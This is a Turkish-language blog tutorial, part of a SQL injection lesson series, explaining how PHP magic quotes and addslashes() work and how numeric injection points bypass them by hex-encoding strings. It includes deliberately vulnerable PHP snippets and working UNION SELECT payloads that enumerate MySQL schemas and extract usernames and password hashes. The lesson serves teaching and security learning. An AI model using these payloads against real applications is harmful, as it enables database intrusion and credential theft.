RSS feed
<< Juniper Networks Netscreen SSG-X 2 | Home | Burp Suite v1.1 Beta >>

SQLi 104 : Magic Quotes

SQL Injection Dersleri

  1. Giriş
  2. Magic Quotes Nedir?
  3. Kar-Zarar
  4. Magic Quotes'i Aşmak?
  5. Magic Quotes'i Aşamamak?
  6. Ders Sonu Notları
  7. Referanslar

GİRİŞ

Bu yazımızla birlikte temel düzeydeki SQL hacking yöntemlerini bitirip, artık 200 kodlu derslerle birlikte Blind SQL Injectiona başlayacağız. Ondan dolayı bu dersimiz aslında ilk 3 dersimizde değinmediğimiz konulara toplu bir bakış olacak ve yine bu sebeple teori ve lab içerisinde anlatılacak mevzuular arasında konu bütünlüğü pek yok.Eksik kalan yerleri anlatacağız, ve 100 kodlu derslerimiz bitmiş olacak.

Bu dersimizde :

  • Magic Quotes
    • Nedir
    • Kar - Zarar
    • Nasıl Aşılır
    • Nasıl Aşılamaz
  • INTO OUTFILE
  • LOAD_FILE

Magic Quotes Nedir?

Magic Quotes, php.ini 'den ayarlanabilen, SQL Injection'i bir nebze olsun önlemek için düşünülmüş, web sunucusu katmanında çalışan bir kontroldür.

Genel olarak iki şekilde SQL Injection yapılır, ya var olan dinamik sorgu ( ' ) tek tırnak , ( ; ) noktalı virgül gibi meta karakterle manipule edilip veya sonlandırılıp ikincil bir sorgu yazılır (bkz SQLi 101), ya da numerik veri beklenen yerlere numerik verinin arkasından ilgili payload'ları(bkz SQLi 102 && SQLi 103) girersiniz, ve olaylar gelişir.

Magic Quotes'in kontrolünün yaptığı HTTP paketinin GET,POST,COOKIE bölümlerindeki veriyi addslashes() fonksiyonunun yaptığı gibi ' (tek tırnak), " (çift tırnak) ve boşluk (NULL) karakterin önüne \ (ters slash) koyarak sorguyu manipule etme ihtimalini ortadan kaldırmaktır.

C ile programlama yapmış olanlar bilirler, örneğin C 'de "\" karakteri bir meta karakterdir, ekrana direkt olarak bastırılamaz, bastırmak için printf fonksiyonuna iki tane ters slash göndermeniz gerekir (printf("\\");)
Magic Quotes'in de tam olarak yaptığı budur aslında, meta karakterlerin önüne bir ters slash ekleyerek onların meta karakter olmadığını SQL sunucuya göstermek!

Kar - Zarar

Avantajları :

  • Web uygulaması geliştirmeye yeni başlayanları belli ölçülerde SQL Injection'a karşı korur.

Negatif Yönleri:

  • GET , POST ya da COOKIE'deki her veri dinamik SQL sorgularına katılmayabilir, yani her meta karakterden kaçmayanın mantığı yoktur ve boşu boşuna performans kaybı olur.
  • Meta karakter kullanılmadan yapılan enjeksiyonları kesemez, örneğin nümerik olanları.
  • Taşınabilirliği azaltır, zira yazacağınız kodun hangi ortamda çalışacağını ya da hostinginizdeki php.ini dosyasında hangi ayarın kullanıldığını bilemez ve bu kontrole güvenemezsiniz.

Zaten negatif yönlerini PHP takımı da görmüş olmalı ki PHP 6.0'dan itibaren magic_quotes kullanılmayacak.

Magic Quotes'u Aşmak

Örneğin, SQL Injection 103'deki örneği inceleyelim :

member.php v1.0 - Copy Code
1 $id=$_POST["id"]; 2 $sql="SELECT username,email FROM users WHERE id = $id"; 3 $result=mysql_query($sql);

Buradaki zayıflığın id parametresinin hiçbir denetimden geçirilmeden sorguya eklenmesi olduğunu zaten daha önce söylemiştik, bunu da 3 aşamalı bir şekilde exploit ediyorduk :

Öncelikli olarak, INFORMATON_SCHEMA.SCHEMATA tablosundan, veritabanlarını çekmek için

-1 UNION SELECT SCHEMA_NAME,1 FROM INFORMATION_SCHEMA.SCHEMATA;

Daha sonra, ilgi duyduğumuz veritabanına ait tabloları öğrenmek için
-1 UNION SELECT TABLE_NAME,1 FROM INFORMATION_SCHEMA.TABLES WHERE TABLE_SCHEMA='sql_injection_lessons'

Ve veritabanı,tablo adı belirlendikten sonra veri çekilecek kolon adları için :
-1 UNION SELECT COLUMN_NAME,1 FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_NAME='users' && TABLE_SCHEMA='sql_injection_lessons'

Bundan sonra da kullanıcı adı - hash ikililerine ulaşmak için girilmesi gereken payload :
-1 UNION SELECT USERNAME,PASSWORD FROM SQL_INJECTION_LESSONS.USERS

Buraya kadar olan işlemlerde magic_quotes kapalıydı,magic_qoutes'i "on" yaparsak, ya da koddaki id parametresini addslashes() fonksiyonundan geçirirsek :

member.php v2.0 - Copy Code
1 $id=addslashes($_POST["id"]); 2 $sql="SELECT username,email FROM users WHERE id = $id"; 3 $result=mysql_query($sql);

Bu hale getirdikten sonra, yukarıda yazdığımız payload'larımızdaki kırmızı ile renklendirilmiş stringlerdeki meta karakterler sebebiyle o şekilde exploit edemeyiz.Meta karakter ortadan kalkarsa sorun çözülür gibi duruyor, bu noktada MySQL yardımımıza koşuyor.
MySQL'de hexadecimal sabitlerin hepsi, özel olarak belirtilmediği müddetçe string olarak kullanılırlar, örneğin :
mysql> SELECT 0x616263; -> 'abc'

Yani MySQL sunucusu için, 0x616263 ile 'abc' arasında bir fark yoktur, bundan dolayı kırmızı ile renklendirilmiş tüm stringleri hexadecimal olarak temsil ettikten sonra, php.ini'ye escape edecek meta karakter kalmaz ve istediğimiz payload'u SQL sunucuya ulaştırabiliriz.
Peki stringleri nasıl hexadecimal olarak yazarız diye düşünüyorsanız :
a'nın  ASCII değeri 97 olup hexadecimal düzende 61'e dek gelmektedir.
b'nin  ASCII değeri 98 olup hexadecimal düzende 62'ye dek gelmektedir.
c'nin  ASCII değeri 99 olup hexadecimal düzende 63'e dek gelmektedir.

İlk denemelerimde ASCII tablodan kontrol edip elle yazıyordum fakat çok uğraştıran bir yöntem olduğu için, javascript bir tool hazırlamaya karar verdim ve geçenlerde siteden release ettim: Magic Quotes Bypassing Tool  
Payload'lardaki kırmızı renklendirilmiş meta karakter içeren stringleri, hexadecimal olarak yazarsanız göreceğiniz üzere yine başarılı şekilde kodu exploit edebileceksiniz.

Magic Quotes'u Aşamamak

Enjeksiyon yapılabilecek değişken dinamik sorguya eklenirken başına ' getirildiyse , yani beklenen data veritabanına string olarak yollanacaksa, diğer bir deyişle nümerik değilse injection yapılamaz.

member.php v3.0 - Copy Code
1 $id=addslashes($_POST["id"]); 2 $sql="SELECT username,email FROM users WHERE id = '$id'"; 3 $result=mysql_query($sql);

En basit şekilde injection yapabilir miyiz diye kontrol etmek için ID parametresine 0 or 1 yollarız,ve açık varsa database'deki tüm kullanıcıları ve mail adreslerini çeker, bunu member.php'nin yukaridaki versiyonlarında deneyebilirsiniz, fakat son hali üzerinde denersek oluşacak dinamik SQL query :

SELECT username,email FROM users WHERE id = 0 or 1

Burada, veritabanından id'si '0 or 1' olan userları arayacağı için , yani karşılaştırma stringler üzerinden yapılacağı ve veritabanında hiçbir '0 or 1' id'li user olmayacağı için hiçbir kullanıcı bilgileri geri dönmeyecektir.
Fakat o tırnak işaretleri olmasa  0 or 1 girdiğimiz zaman dinamik sorgumuz:
SELECT username,email FROM users WHERE id = 0 or 1

halini alacaktı ve 0 or 1 derken buradaki or işlemi mantıksal veya işlemidir.Yani sonucu 1'e eşittir,1 demek ise tüm kayıtlar demektir.Bundan dolayı sonuç olarak veritabanında tüm kullanıcılar olacak, ve tüm kullanıcıların bilgileri listelenecektir.

Gördüğünüz üzere " ' "  koyarak nümerik SQLi'leri engelledik, ve diğer injection'ları magic quote'ların zaten engellediğini başlığın ilk paragrafında söylemiştik. Şimdi de neden aşamayacağımızı açıklayalım.

Öncelikli olarak SQLi101 dersimizde bir log-in panelini bypass etmiştik, ve injection noktamız bir string değişkendi, yani ( ' ) tırnak olmasına rağmen exploit edilebilmişti, zira oradaki kodda ( ' ) tırnak ile yine query'iyi istediğimiz zaman bitiriyorduk, arkasından da (--) koyarak sorgunun geri kalan kısmını comment içine alıyorduk.Aynı tekniği magic_quote'lar kapaylıyken burada da uygulayabiliriz, fakat magic_quote'lar açıkken gireceğimiz tırnak karakterini meta karakter olarak görüp başına (\) ters slash getirecek ve bizim tırnağımız meta karakter özelliğiyle sorguyu bitiremeyecektir.Bundan dolayı sonrasında gelecek olan comment (--) operatörü de vazifesini göremeyecek, geri kalan her şey query'e katılacak ve manipülasyon şansımız kalmayacaktır.

Örnekle anlatıp bitirelim, member.php v2.0'da id parametresini

Copy Code
-1' UNION SELECT COLUMN_NAME,1 FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_NAME='users' &&TABLE_SCHEMA='sql_injection_lessons' --

payloadu ile denersek oluşacak dinamik SQL sorgusu :

Copy Code
1 SELECT username,email FROM users WHERE id = '-1' UNION 2 SELECT COLUMN_NAME,1 FROM INFORMATION_SCHEMA.COLUMNS 3 WHERE TABLE_NAME='users' &&TABLE_SCHEMA='sql_injection_lessons' -- '

görüldüğü üzere son tırnak yoruma dahil olacağı için istediğimiz gibi manipule ettik.
Fakat magic_qoutes'u ya da addslashes()'i olayın içine sokarsak, yani member.php v3.0 'a aynı payload'u yollarsak oluşacak dinamik sorgu :

SELECT username,email FROM users WHERE id = '-1\' UNION SELECT
COLUMN_NAME, 1 FROM INFORMATION_SCHEMA.COLUMNS WHERE
TABLE_NAME = \'users\' && TABLE_SCHEMA = \'sql_injection_lessons\' -- '

Renklendirmeden de anlayabileceğiniz üzere ( ' ) tırnak karakteri (\) ters slash ile etkisiz hale getirildiği için tüm payloadumuz WHERE sentaksının operandı olmuş durumda.

Ders Sonu Notları

Dersimizin teorik kısmı diye başladık fakat bayağı pratik de yapmışız, artık LAB kısmında burada değinmediğim LOAD FILE ve INTO OUTFILE ile ilgili örnek yaparız.Derslere bir süre ara verip daha sonra 200 kodlu derslere başlamayı düşünüyorum, artık daha sessiz ve derinden gideceğiz.
Haricinde, üzerinde denemeler yaptığımız member.php 'ler 3 farklı versiyonu ile birlikte şuradan indirilebilir, siz de denemeler yapabilirsiniz.
Bu arada,tüm yazı boyunca magic quotes hakkında konuşulup uygulamalar addslashes() ile yapılmıştır, ikisi de aynı şekilde çalıştığı ve php.ini'den magic quotes'u bir açıp bir kapatmakla uğraşmak istemediğim için olay bu şekilde cereyan etmiştir.
Son olarak, yazıyı yazarken çok yorulduğumu hissettim, yanlış anlattığım şeyler olabilir, söylemek istediğiniz bir şey olursa mail ya da comment yoluyla iletmenizi bekliyorum.

Referanslar

PHP Manual : Magic Quotes
http://tr2.php.net/manual/en/security.magicquotes.php
Magic Quotes Bypassing Tool
http://www.h-labs.org/blog/2007/11/11/magic_quotes_bypassing_tool_beta.html




Add a comment Send a TrackBack